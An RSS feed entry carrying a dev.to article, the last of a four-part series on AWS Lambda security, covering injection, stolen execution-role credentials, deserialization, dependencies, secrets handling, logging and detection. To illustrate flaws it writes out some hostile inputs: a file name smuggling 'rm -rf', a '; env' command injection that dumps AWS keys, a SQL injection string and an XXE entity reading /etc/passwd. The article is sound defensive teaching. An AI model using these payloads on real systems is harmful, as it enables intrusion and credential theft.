<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0" xmlns:atom="http://www.w3.org/2005/Atom" xmlns:dc="http://purl.org/dc/elements/1.1/">
  <channel>
    <title>DEV Community: Tarek CHEIKH</title>
    <description>The latest articles on DEV Community by Tarek CHEIKH (@tarekcheikh).</description>
    <link>https://dev.to/tarekcheikh</link>
    <image>
      <url>https://media2.dev.to/dynamic/image/width=90,height=90,fit=cover,gravity=auto,format=auto/https:%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Fuser%2Fprofile_image%2F3320159%2F8c21792a-333c-4cfe-bf51-47912a483b48.png</url>
      <title>DEV Community: Tarek CHEIKH</title>
      <link>https://dev.to/tarekcheikh</link>
    </image>
    <atom:link rel="self" type="application/rss+xml" href="https://dev.to/feed/tarekcheikh"/>
    <language>en</language>
    <item>
      <title>The Code Is Still Yours: Application-Layer Security for AWS Lambda</title>
      <dc:creator>Tarek CHEIKH</dc:creator>
      <pubDate>Mon, 08 Jun 2026 20:01:01 +0000</pubDate>
      <link>https://dev.to/tarekcheikh/the-code-is-still-yours-application-layer-security-for-aws-lambda-m9i</link>
      <guid>https://dev.to/tarekcheikh/the-code-is-still-yours-application-layer-security-for-aws-lambda-m9i</guid>
      <description>&lt;p&gt;&lt;strong&gt;&lt;em&gt;Part 4 of 4 in the Lambda Security Series&lt;/em&gt;&lt;/strong&gt;&lt;/p&gt;

&lt;p&gt;&lt;a href="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fpqkpgz99wcnlmu3q7cmd.png" class="article-body-image-wrapper"&gt;&lt;img src="https://media2.dev.to/dynamic/image/width=800%2Cheight=%2Cfit=scale-down%2Cgravity=auto%2Cformat=auto/https%3A%2F%2Fdev-to-uploads.s3.amazonaws.com%2Fuploads%2Farticles%2Fpqkpgz99wcnlmu3q7cmd.png" width="800" height="800"&gt;&lt;/a&gt;&lt;/p&gt;

&lt;p&gt;The first three parts of this series were about configuration. Runtimes, roles, resource policies, public endpoints, network, logging, and the compliance controls behind them. That is the layer &lt;a href="https://github.com/TocConsulting/lambda-security-scanner" rel="noopener noreferrer"&gt;lambda-security-scanner&lt;/a&gt; checks, and it is the layer most teams get wrong first.&lt;/p&gt;

&lt;p&gt;But configuration is only half of Lambda security. The other half is the code that runs inside the function, and no posture scanner reaches it. AWS will not catch a bug in your handler. &lt;strong&gt;&lt;em&gt;A clean configuration scan and a vulnerable function are completely compatible&lt;/em&gt;&lt;/strong&gt;. This part covers that other half: the application layer, the dependencies, the credentials your code holds, and how to detect the attacks that prevention misses.&lt;/p&gt;

&lt;p&gt;One thing ties the whole layer together. Every code-level vulnerability ultimately cashes out through the execution role. Whatever the role can do, a successful attack against your code can do. That is why Part 2’s role checks and this part’s code checks are the same fight from two directions.&lt;/p&gt;

&lt;h3&gt;
  
  
  Every Event Source Is Untrusted Input
&lt;/h3&gt;

&lt;p&gt;A Lambda function is defined by its triggers, and &lt;strong&gt;&lt;em&gt;every trigger is an entry point for data you did not write&lt;/em&gt;&lt;/strong&gt;. API Gateway delivers HTTP requests. S3 delivers object keys and metadata. SNS and SQS deliver message bodies. DynamoDB and Kinesis deliver stream records. EventBridge delivers arbitrary event payloads. Each of these is a separate trust boundary, &lt;strong&gt;&lt;em&gt;and the data crossing it is hostile until you prove otherwise&lt;/em&gt;&lt;/strong&gt;.&lt;/p&gt;

&lt;p&gt;The mistake is treating the event object as structured, trusted data because it arrived through an AWS service. The AWS service delivered the envelope. It did not validate the contents. A filename in an S3 event, a field in an SQS message, or a query string in an API Gateway request is attacker-controlled the moment an attacker can influence the thing that produced it.&lt;/p&gt;

&lt;p&gt;To make this concrete: an S3 &lt;code&gt;**_ObjectCreated_**&lt;/code&gt; event hands your function a key at &lt;code&gt;**_event[‘Records’][0][‘s3’][‘object’][‘key’]_**&lt;/code&gt;. If a user can upload to that bucket, the user chose that key. A key such as &lt;code&gt;**_../../tmp/payload_**&lt;/code&gt; or &lt;code&gt;**_report$(rm -rf /tmp).csv_**&lt;/code&gt; arrives looking like ordinary data, and it stays harmless only until your code passes it to a file path or a shell.&lt;/p&gt;

&lt;p&gt;This is how injection happens in serverless, and the categories are the same ones that have always existed:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;&lt;em&gt;OS command injection&lt;/em&gt;&lt;/strong&gt; , when input reaches a shell. This is the OWASP ServerlessGoat flaw from Part 1: a user-supplied URL is passed straight into a &lt;code&gt;**_curl_**&lt;/code&gt; command, so an attacker appends their own commands and the function runs them. For example, code that runs &lt;code&gt;**_curl &amp;lt;url&amp;gt;_**&lt;/code&gt; as a shell string lets an attacker send &lt;code&gt;[**_https://x_**](https://x) **_; env_**&lt;/code&gt;. The &lt;code&gt;**_;_**&lt;/code&gt; ends the intended &lt;code&gt;**_curl_**&lt;/code&gt; command and runs &lt;code&gt;**_env_**&lt;/code&gt; instead, which prints the execution environment, including the &lt;code&gt;**_AWS\_ACCESS\_KEY\_ID_**&lt;/code&gt;, &lt;code&gt;**_AWS\_SECRET\_ACCESS\_KEY_**&lt;/code&gt;, and &lt;code&gt;**_AWS\_SESSION\_TOKEN_**&lt;/code&gt; that hold the function’s execution-role credentials. The attacker now has working AWS keys and can act as your function against the AWS API directly, which is exactly the exploit covered in the next section.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;&lt;em&gt;SQL and NoSQL injection&lt;/em&gt;&lt;/strong&gt; , when input is concatenated into a query instead of parameterized. &lt;code&gt;**_cursor.execute(“SELECT \* FROM users WHERE id = ‘“ + user\_id + “‘“)_**&lt;/code&gt; lets an attacker send &lt;code&gt;**_’ OR ‘1’=’1_**&lt;/code&gt; and read every row.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;&lt;em&gt;Code injection&lt;/em&gt;&lt;/strong&gt; , when input reaches &lt;code&gt;**_eval_**&lt;/code&gt;, dynamic &lt;code&gt;**_require_**&lt;/code&gt; or &lt;code&gt;**_import_**&lt;/code&gt;, or a template engine. Passing an event field into Python &lt;code&gt;**_eval()_**&lt;/code&gt; or JavaScript &lt;code&gt;**_eval()_**&lt;/code&gt; turns a string into running code.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;&lt;em&gt;XML external entity (XXE) attacks&lt;/em&gt;&lt;/strong&gt;, when input is parsed by an XML parser that has external entities enabled. XML lets a document declare an entity, a named placeholder, and point it at an external resource; a parser with that feature turned on will fetch the resource and substitute its contents wherever the entity is used. In a malicious document, the attacker adds a document type definition that declares an external entity, for example an entity named &lt;code&gt;**_xxe_**&lt;/code&gt; whose value is &lt;code&gt;**_SYSTEM “file:///etc/passwd”_**&lt;/code&gt;, and then references it as &lt;code&gt;**_&amp;amp;xxe;_**&lt;/code&gt; inside an element. When the parser expands &lt;code&gt;**_&amp;amp;xxe;_**&lt;/code&gt;, it reads the file at that path and drops the contents into the parsed value, which the function might then return to the caller, store, or log. Point the entity at a URL instead of a file, such as an internal-only address like &lt;code&gt;**_http://10.0.0.5/admin_**&lt;/code&gt;, and the same trick becomes server-side request forgery: the function fetches resources inside your VPC that an outsider could never reach directly. The fix is to disable DTD processing and external entities in the parser (for example, use &lt;code&gt;**_defusedxml_**&lt;/code&gt; in Python), which the defenses below cover.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;&lt;em&gt;Log injection&lt;/em&gt;&lt;/strong&gt; , when unsanitized input is written to logs that something else later trusts. A newline embedded in a username can forge extra log lines that mislead an investigator or a log-based alert.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;The defenses are unglamorous and they work:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Never pass user input to a shell. If you must call out to a process, use an argument array, not a constructed command string, and never &lt;code&gt;**_shell=True_**&lt;/code&gt;. In Python that means &lt;code&gt;**_subprocess.run([“catdoc”, path])_**&lt;/code&gt; instead of &lt;code&gt;**_subprocess.run(f”catdoc {path}”, shell=True)_**&lt;/code&gt;. In Node.js it means &lt;code&gt;**_execFile(“catdoc”, [path])_**&lt;/code&gt; instead of &lt;code&gt;**_execSync(&lt;/code&gt;catdoc ${path}&lt;code&gt;)_**&lt;/code&gt;. With an argument array the operating system treats the input as one argument, so it can never become a new command.&lt;/li&gt;
&lt;li&gt;Parameterize every query. The database driver should receive values as bound parameters, never as concatenated strings: &lt;code&gt;**_cursor.execute(“SELECT \* FROM users WHERE id = %s”, (user\_id,))_**&lt;/code&gt;. The driver sends the value separately from the SQL, so the value cannot change the query’s meaning.&lt;/li&gt;
&lt;li&gt;Validate every event at the boundary against an explicit schema, and reject anything that does not match. Use JSON Schema, Pydantic, or the parser and validation utilities in Powertools for AWS Lambda. (Powertools ships two distinct tools for this: a Parser built on Pydantic, and a separate Validator that checks events against JSON Schema.) Validate types, lengths, formats, and allowed values:
&lt;/li&gt;
&lt;/ul&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight python"&gt;&lt;code&gt;&lt;span class="kn"&gt;from&lt;/span&gt; &lt;span class="n"&gt;aws_lambda_powertools.utilities.parser&lt;/span&gt; &lt;span class="kn"&gt;import&lt;/span&gt; &lt;span class="n"&gt;parse&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;BaseModel&lt;/span&gt;
&lt;span class="kn"&gt;from&lt;/span&gt; &lt;span class="n"&gt;aws_lambda_powertools.utilities.parser.exceptions&lt;/span&gt; &lt;span class="kn"&gt;import&lt;/span&gt; &lt;span class="n"&gt;ValidationError&lt;/span&gt;

&lt;span class="k"&gt;class&lt;/span&gt; &lt;span class="nc"&gt;Order&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;BaseModel&lt;/span&gt;&lt;span class="p"&gt;):&lt;/span&gt;
    &lt;span class="n"&gt;order_id&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="nb"&gt;str&lt;/span&gt;
    &lt;span class="n"&gt;quantity&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="nb"&gt;int&lt;/span&gt;

&lt;span class="k"&gt;def&lt;/span&gt; &lt;span class="nf"&gt;handler&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;event&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;context&lt;/span&gt;&lt;span class="p"&gt;):&lt;/span&gt;
    &lt;span class="k"&gt;try&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
        &lt;span class="n"&gt;order&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="nf"&gt;parse&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="n"&gt;event&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="n"&gt;event&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;model&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="n"&gt;Order&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
    &lt;span class="k"&gt;except&lt;/span&gt; &lt;span class="n"&gt;ValidationError&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;
        &lt;span class="k"&gt;return&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;statusCode&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="mi"&gt;400&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;body&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;invalid input&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;
    &lt;span class="c1"&gt;# order.quantity is guaranteed to be an int from here on
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;ul&gt;
&lt;li&gt;Prefer allowlists to denylists. Define what is permitted and reject everything else, rather than trying to enumerate every bad input. An attacker only has to find the one bad input you forgot to ban; an allowlist fails closed.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Validation at the boundary is the single highest-leverage habit in serverless code, because one function can be triggered by several sources and each one needs the same scrutiny.&lt;/p&gt;

&lt;h3&gt;
  
  
  The Execution Role Credentials Are Stealable
&lt;/h3&gt;

&lt;p&gt;Here is a detail that surprises people moving from EC2. Lambda has no credential-bearing instance metadata service. There is no &lt;code&gt;**_169.254.169.254_**&lt;/code&gt; endpoint to query, so the classic server-side request forgery attack that steals credentials from EC2 metadata does not apply to Lambda. (Lambda did gain a metadata endpoint in 2026, reachable at the address in the &lt;code&gt;**_AWS\_LAMBDA\_METADATA\_API_**&lt;/code&gt; environment variable, for example &lt;code&gt;**_169.254.100.1:9001_**&lt;/code&gt;. But it returns only the Availability Zone ID, it requires a per-environment bearer token from &lt;code&gt;**_AWS\_LAMBDA\_METADATA\_TOKEN_**&lt;/code&gt; specifically as a defense against SSRF, and it never exposes the execution role’s credentials.)&lt;/p&gt;

&lt;p&gt;That is not good news, because Lambda exposes the credentials a different way. When your function runs, the execution role’s temporary credentials are injected into the execution environment as the &lt;code&gt;**_AWS\_ACCESS\_KEY\_ID_**&lt;/code&gt;, &lt;code&gt;**_AWS\_SECRET\_ACCESS\_KEY_**&lt;/code&gt;, and &lt;code&gt;**_AWS\_SESSION\_TOKEN_**&lt;/code&gt; environment variables. AWS documents these as reserved runtime variables holding “the access keys obtained from the function’s execution role,” and this is still the behavior in 2026. The AWS SDK reads them from there automatically, which is convenient for your code and equally convenient for an attacker. Any code execution inside the function, or any vulnerability that lets an attacker read the process environment, hands over those credentials. ServerlessGoat demonstrates exactly this: the command injection runs &lt;code&gt;**_env_**&lt;/code&gt;, and the role’s credentials fall out.&lt;/p&gt;

&lt;p&gt;Once exfiltrated, those credentials are valid from anywhere until they expire. The attacker does not need to keep exploiting your function. They lift the keys once and use them directly against the AWS API with whatever the role allows.&lt;/p&gt;

&lt;p&gt;This is why least privilege on the execution role, the B.4 check from Part 2, is not just a configuration nicety. It is the containment boundary for every code-level bug you have not found yet. You cannot guarantee your code is free of injection. You can guarantee that when it is exploited, the stolen credentials can read one bucket instead of administering the account. Scope the role as if the code is already compromised, because eventually one function will be.&lt;/p&gt;

&lt;p&gt;Server-side request forgery is still worth defending against in Lambda even without a credential-bearing metadata endpoint to protect. A function that fetches a user-controlled URL can be turned against internal services it can reach inside a VPC, peered networks, and link-local addresses. Validate and allowlist outbound destinations the same way you validate inbound input: resolve the hostname, confirm it is on a permitted list, and reject private and link-local ranges unless you explicitly intend to reach them.&lt;/p&gt;

&lt;h3&gt;
  
  
  Insecure Deserialization and Dynamic Code
&lt;/h3&gt;

&lt;p&gt;Deserializing untrusted data into live objects is remote code execution waiting for an input. Python’s &lt;code&gt;**_pickle_**&lt;/code&gt;, an unsafe YAML load, Java and PHP object deserialization, and any path that turns bytes from an event directly into executable behavior are all in this category. The danger is that these formats encode not just data but instructions to construct arbitrary objects, and constructing those objects can run code. A &lt;code&gt;**_pickle.loads()_**&lt;/code&gt; on attacker-supplied bytes can execute a payload during unpickling, before your code ever inspects the result.&lt;/p&gt;

&lt;p&gt;Use data-only formats and safe parsers: &lt;code&gt;**_json_**&lt;/code&gt; rather than &lt;code&gt;**_pickle_**&lt;/code&gt;, &lt;code&gt;**_yaml.safe\_load_**&lt;/code&gt; rather than &lt;code&gt;**_yaml.load_**&lt;/code&gt;, and schema validation on the result. For example, replace &lt;code&gt;**_data = yaml.load(body)_**&lt;/code&gt; with &lt;code&gt;**_data = yaml.safe\_load(body)_**&lt;/code&gt;, which refuses to instantiate arbitrary Python objects and returns only plain dictionaries, lists, and scalars. Never feed event data to &lt;code&gt;**_eval_**&lt;/code&gt; or to a dynamic import.&lt;/p&gt;

&lt;h3&gt;
  
  
  Your Dependencies Are Most of Your Attack Surface
&lt;/h3&gt;

&lt;p&gt;The code you wrote is usually a small fraction of what ships in your deployment package. The rest is third-party libraries, and their layers, and the transitive dependencies underneath them. A known vulnerability in any of them is your vulnerability, and the failure modes go beyond stale versions: typosquatted package names (a malicious &lt;code&gt;**_reqeusts_**&lt;/code&gt; masquerading as &lt;code&gt;**_requests_**&lt;/code&gt;) and legitimate packages compromised upstream both end up running with your execution role.&lt;/p&gt;

&lt;p&gt;Scan dependencies continuously, not once:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Use language-native auditing in development and CI: &lt;code&gt;**_pip-audit_**&lt;/code&gt; for Python, &lt;code&gt;**_npm audit_**&lt;/code&gt; for Node, and the equivalents for other runtimes. Fail the build on known-vulnerable, fixable findings. A CI step as simple as &lt;code&gt;**_pip-audit — strict_**&lt;/code&gt; or &lt;code&gt;**_npm audit — audit-level=high_**&lt;/code&gt; returns a non-zero exit code and stops the pipeline.&lt;/li&gt;
&lt;li&gt;Turn on Amazon Inspector Lambda standard scanning. It automatically scans the application dependencies in your function code and layers for known CVEs. AWS documents that it runs when Inspector first discovers a function, when you deploy a new function, when you update the code or dependencies of a function or its layers, and again whenever Inspector adds a CVE to its database that is relevant to your function, with no scan to schedule. One important limit: it scans the dependencies you ship, not the AWS SDK that the runtime provides by default, so bundle the SDK explicitly if you want it covered.&lt;/li&gt;
&lt;li&gt;Pin versions and commit lockfiles, so the package that passed review is the package that deploys. A committed &lt;code&gt;**_requirements.txt_**&lt;/code&gt; with hashes, or a &lt;code&gt;**_package-lock.json_**&lt;/code&gt;, means a rebuild cannot silently pull a newer, compromised version. Keep the dependency set small. Every library you do not include is one you do not have to defend.&lt;/li&gt;
&lt;/ul&gt;

&lt;h3&gt;
  
  
  Let AWS Scan the Code, Too
&lt;/h3&gt;

&lt;p&gt;Amazon Inspector also offers Lambda code scanning, which goes a step past dependencies and analyzes your own application code. AWS describes it as scanning “application code in a Lambda function for code vulnerabilities based on AWS security best practices to detect data leaks, injection flaws, missing encryption, and weak cryptography,” using automated reasoning, machine learning, and internal detectors developed with Amazon Q. Each finding includes a snippet showing where the issue is and a suggested code fix.&lt;/p&gt;

&lt;p&gt;It runs automatically on deploy and update, the same as standard scanning, and it requires standard scanning to be enabled first (you cannot turn on code scanning by itself). It will not replace a security review of your code, but it is a continuous, low-effort backstop that catches a meaningful class of mistakes before they sit in production. One caveat: code scanning captures snippets of your function to illustrate findings, and those snippets can include hardcoded secrets, so treat the findings themselves as sensitive.&lt;/p&gt;

&lt;h3&gt;
  
  
  Container-Image Functions Need Image Hygiene
&lt;/h3&gt;

&lt;p&gt;If you package a function as a container image rather than a zip archive, you have inherited every habit of container security along with it. Scan the image for operating-system and programming-language package vulnerabilities, which Amazon Inspector does for images in Amazon ECR through enhanced scanning, either on push or continuously, re-scanning automatically when a new relevant CVE is published. Start from a minimal base image (for example a distroless or &lt;code&gt;**_-slim_**&lt;/code&gt; image) so there is less to be vulnerable. Pin the base image by digest rather than a floating tag, so &lt;code&gt;**_FROM public.ecr.aws/lambda/python:3.13@sha256:…_**&lt;/code&gt; cannot silently pull in something new on the next rebuild. Run as a non-root user inside the image with a &lt;code&gt;**_USER_**&lt;/code&gt; directive. A container-packaged Lambda is still a container, and the supply-chain risk is larger, not smaller.&lt;/p&gt;

&lt;h3&gt;
  
  
  Handle Secrets Correctly at Runtime
&lt;/h3&gt;

&lt;p&gt;Part 3 covered moving secrets out of environment variables and into Secrets Manager or SSM Parameter Store. AWS makes the same recommendation in the Lambda documentation: “To increase security, we recommend that you use AWS Secrets Manager instead of environment variables to store database credentials and other sensitive information like API keys or authorization tokens.” Getting the secret out of the configuration is necessary, but the runtime handling matters too.&lt;/p&gt;

&lt;p&gt;Store the secret in Secrets Manager and read it at runtime rather than baking it into the function. The simplest way to read it is the AWS SDK, calling &lt;code&gt;**_GetSecretValue_**&lt;/code&gt; from your handler. That works, and it is a valid pattern. Its only drawback is that it calls Secrets Manager on every invocation, which adds latency and API cost each time.&lt;/p&gt;

&lt;p&gt;To avoid that per-invocation call, AWS documents two approaches that retrieve the secret and cache it locally, described as “both offering better performance and lower costs compared to retrieving secrets directly using the AWS SDK,” and both “eliminating the need for your function to call Secrets Manager for every invocation.” You do not need both; pick one.&lt;/p&gt;

&lt;p&gt;The first is the AWS Parameters and Secrets Lambda Extension. It is runtime-agnostic, you add it as a Lambda layer, and your code reads the secret over a local HTTP endpoint with no SDK dependency. AWS’s own Python example is:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight python"&gt;&lt;code&gt;&lt;span class="n"&gt;secrets_extension_endpoint&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="sa"&gt;f&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;http://localhost:2773/secretsmanager/get?secretId=&lt;/span&gt;&lt;span class="si"&gt;{&lt;/span&gt;&lt;span class="n"&gt;secret_name&lt;/span&gt;&lt;span class="si"&gt;}&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;
&lt;span class="n"&gt;headers&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;X-Aws-Parameters-Secrets-Token&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt; &lt;span class="n"&gt;os&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="n"&gt;environ&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;get&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="s"&gt;AWS_SESSION_TOKEN&lt;/span&gt;&lt;span class="sh"&gt;'&lt;/span&gt;&lt;span class="p"&gt;)}&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;The first call fetches from Secrets Manager; subsequent calls within the cache lifetime are served from the local cache. By default the extension caches for 300 seconds and holds up to 1000 items, configurable through the &lt;code&gt;**_SECRETS\_MANAGER\_TTL_**&lt;/code&gt;, &lt;code&gt;**_PARAMETERS\_SECRETS\_EXTENSION\_CACHE\_SIZE_**&lt;/code&gt;, and &lt;code&gt;**_PARAMETERS\_SECRETS\_EXTENSION\_HTTP\_PORT_**&lt;/code&gt; environment variables. The same extension works for both Secrets Manager secrets and Parameter Store parameters.&lt;/p&gt;

&lt;p&gt;The second is the Powertools for AWS Lambda parameters utility, a code-integrated option for Python, TypeScript, Java, and .NET that caches and can transform the value (for example, parse JSON). In Python it is just:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight python"&gt;&lt;code&gt;&lt;span class="kn"&gt;from&lt;/span&gt; &lt;span class="n"&gt;aws_lambda_powertools.utilities&lt;/span&gt; &lt;span class="kn"&gt;import&lt;/span&gt; &lt;span class="n"&gt;parameters&lt;/span&gt;
&lt;span class="n"&gt;secret&lt;/span&gt; &lt;span class="o"&gt;=&lt;/span&gt; &lt;span class="n"&gt;parameters&lt;/span&gt;&lt;span class="p"&gt;.&lt;/span&gt;&lt;span class="nf"&gt;get_secret&lt;/span&gt;&lt;span class="p"&gt;(&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="s"&gt;my-secret-name&lt;/span&gt;&lt;span class="sh"&gt;"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt; &lt;span class="n"&gt;max_age&lt;/span&gt;&lt;span class="o"&gt;=&lt;/span&gt;&lt;span class="mi"&gt;300&lt;/span&gt;&lt;span class="p"&gt;)&lt;/span&gt;
&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Whichever you choose, three rules apply:&lt;/p&gt;

&lt;p&gt;Scope the function’s permission to the specific secret, not to &lt;code&gt;**_secretsmanager:GetSecretValue_**&lt;/code&gt; on everything. AWS’s example execution-role policy sets &lt;code&gt;**_Resource_**&lt;/code&gt; to the one secret ARN:&lt;br&gt;
&lt;/p&gt;

&lt;div class="highlight js-code-highlight"&gt;
&lt;pre class="highlight json"&gt;&lt;code&gt;&lt;span class="p"&gt;{&lt;/span&gt;&lt;span class="w"&gt;
  &lt;/span&gt;&lt;span class="nl"&gt;"Effect"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"Allow"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;
  &lt;/span&gt;&lt;span class="nl"&gt;"Action"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"secretsmanager:GetSecretValue"&lt;/span&gt;&lt;span class="p"&gt;,&lt;/span&gt;&lt;span class="w"&gt;
  &lt;/span&gt;&lt;span class="nl"&gt;"Resource"&lt;/span&gt;&lt;span class="p"&gt;:&lt;/span&gt;&lt;span class="w"&gt; &lt;/span&gt;&lt;span class="s2"&gt;"arn:aws:secretsmanager:us-east-1:111122223333:secret:SECRET_NAME"&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;span class="p"&gt;}&lt;/span&gt;&lt;span class="w"&gt;
&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;

&lt;/div&gt;



&lt;p&gt;Mind the cache and rotation together. The default 300-second cache means a freshly rotated secret can be stale for up to five minutes. AWS suggests either lowering the TTL (for example &lt;code&gt;**_SECRETS\_MANAGER\_TTL=60_**&lt;/code&gt;) or requesting a specific version with &lt;code&gt;**_versionStage=AWSCURRENT_**&lt;/code&gt;. Rotate on a schedule regardless, because a credential that never changes is a credential that an old leak can still use.&lt;/p&gt;

&lt;p&gt;Never write a secret to a log line, which is the most common way a secret that was stored correctly still ends up exposed.&lt;/p&gt;

&lt;h3&gt;
  
  
  Log Without Leaking
&lt;/h3&gt;

&lt;p&gt;CloudWatch Logs are useful for investigation and dangerous for disclosure. A function that logs the full event, or a request header, or an error object that contains a token, has copied sensitive data into a store with its own access model and retention. Decide what must never be logged, which is at minimum credentials, tokens, and personal data, and strip or mask it before it reaches a log call. Avoid &lt;code&gt;**_logger.info(json.dumps(event))_**&lt;/code&gt; as a default habit, because the event is exactly where attacker-influenced and sensitive fields live. Use structured logging so fields are explicit rather than interpolated, and sanitize any untrusted value before logging it (for example, strip newlines) so an attacker cannot forge log entries.&lt;/p&gt;

&lt;h3&gt;
  
  
  Detect What Prevention Misses
&lt;/h3&gt;

&lt;p&gt;You will not prevent everything, so instrument for the case where prevention failed.&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Enable Amazon GuardDuty Lambda Protection. It monitors the network activity of your Lambda functions, including functions that do not use VPC networking, and raises findings when a function starts behaving like compromised code. The documented finding types include &lt;code&gt;**_Backdoor:Lambda/C&amp;amp;CActivity.B_**&lt;/code&gt; (querying a known command-and-control server), &lt;code&gt;**_CryptoCurrency:Lambda/BitcoinTool.B_**&lt;/code&gt; (the traffic pattern of unauthorized cryptocurrency mining), &lt;code&gt;**_UnauthorizedAccess:Lambda/MaliciousIPCaller.Custom_**&lt;/code&gt; (contacting an IP on your threat list), and Tor client and relay findings. The crypto-mining pattern is the Denonia case from Part 1, which is precisely the kind of thing this is built to catch.
&lt;/li&gt;
&lt;li&gt;Record Lambda &lt;code&gt;**_Invoke_**&lt;/code&gt; activity with CloudTrail data events, so you have an audit trail of who invoked what and can reconstruct events after an incident. Note that &lt;code&gt;**_Invoke_**&lt;/code&gt; is a data event, not a management event, so it is not logged by default, must be explicitly enabled, and incurs additional CloudTrail charges. Management events such as &lt;code&gt;**_CreateFunction_**&lt;/code&gt; and &lt;code&gt;**_UpdateFunctionCode_**&lt;/code&gt; are logged by default.
&lt;/li&gt;
&lt;li&gt;Keep Amazon Inspector active so that newly published CVEs are matched against your already-deployed functions automatically, not just at deploy time.
&lt;/li&gt;
&lt;li&gt;Use X-Ray traces to spot anomalous call patterns, such as a function suddenly reaching services it never touched before.&lt;/li&gt;
&lt;/ul&gt;

&lt;h3&gt;
  
  
  Shift It Left
&lt;/h3&gt;

&lt;p&gt;Everything above is cheaper before deployment than after. Run dependency auditing and code scanning in the pipeline and fail the build on fixable, high-severity findings. Validate your infrastructure-as-code for the configuration issues from Parts 1 through 3 before they ship, and run the configuration scanner from this series in the same pipeline so a function cannot reach production with a public URL or an admin role. Prevention that runs automatically on every commit is the only kind that keeps up with how fast serverless ships.&lt;/p&gt;

&lt;h3&gt;
  
  
  The Full Picture
&lt;/h3&gt;

&lt;p&gt;That is the complete series. Parts 1 through 3 covered the configuration layer: the misconfigurations that expose a function, a score for every function, the compliance controls behind each finding, and a command to fix each one. &lt;a href="https://github.com/TocConsulting/lambda-security-scanner" rel="noopener noreferrer"&gt;lambda-security-scanner&lt;/a&gt; covers that layer end to end.&lt;/p&gt;

&lt;p&gt;This part covered the layer no posture scanner reaches: the code itself, its dependencies, the credentials it holds, and the detection you need for when something gets through anyway. No single tool covers both layers, and anyone who tells you otherwise is selling the gap. Real Lambda security is the combination: scan the configuration, secure the code, watch the behavior. Do all three and serverless can finally live up to the word secure.&lt;/p&gt;

